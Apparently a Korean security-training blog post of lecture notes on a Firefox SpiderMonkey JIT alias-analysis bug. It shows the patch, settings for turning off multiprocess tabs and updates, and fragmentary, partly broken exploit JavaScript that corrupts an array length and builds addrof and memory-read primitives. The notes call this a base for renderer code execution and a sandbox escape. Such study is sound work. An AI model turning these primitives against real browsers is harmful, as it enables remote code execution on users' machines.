windows 10
ArraySlice -> nullptr리턴하도록 패치됨
const MDefinition* loadObject = GetObject(load);
const MDefinition* storeObject = GetObject(store);
if (!loadObject || !storeObject) {
return MDefinition::AliasType::MayAlias;
}
side effect
https://dxr.mozilla.org/mozilla-central/source/js/src/jit/AliasAnalysis.cpp
js/src/builtin/Array.cpp
자바스크립트 내부 객체 호출하는 부분
free?
length가 바뀐 array
aboutLconfig
browser/tabs.remote.autostart
autostart ->false
update
app.update.auti.migrated -> false
bp xul!js::math_atan2
if(mngr==null){
thrown new error
mngr[18]=0x31337; //length_slot을 overwrite
for(i=0;i<spray.length;i++){
if(spray[i].length=0x31337){
mtarget=spray[i];
break
}
}
if(mtarget==null){
throw new Error("mtarget");
}
mtarget.leak={a:1}; //;property
var primitives={
setAddr: function(object){
mngr[23]=addr.hi; //data slot
mngr[22]=addr.lo; //data slot
},
addrof:function(object){
mtarget.leak=object;
addr=primitives.read(mtrget_slot_ptr);
return new Long((addr.hi&0xffff), addr.lo);
},
read:function(addr,v){
primitives.setAddr(addr);
mtarget[1]=
mtarget[0]=
return new Long(mtarget[1]>>>0, mtarget[0]>>>0);
mtarget_buffer=new Long(mngr[23]);
renderer익스....!?
RCE 익스
여기다가 살만 붙이면 RCE익스
RCE sandbox escape
RCE 익스플로잇에 올리면 된다
Prompt:Open
browser process/ child process
파일 쓰거나 읽거나 할 때
IPC 메시지 주고받는 구조
contents process, browser process는 메시지 메니저 기능을 이용해 통신
Prompt:Open
dqs
'비오비' 카테고리의 다른 글
8/22 (0) | 2019.08.22 |
---|---|
[이종호멘토님]8/21 (0) | 2019.08.21 |
[이상섭멘토님] Trust OS (0) | 2019.08.21 |
[8/18] 김재기 멘토님 (0) | 2019.08.18 |
파폭2 (0) | 2019.08.17 |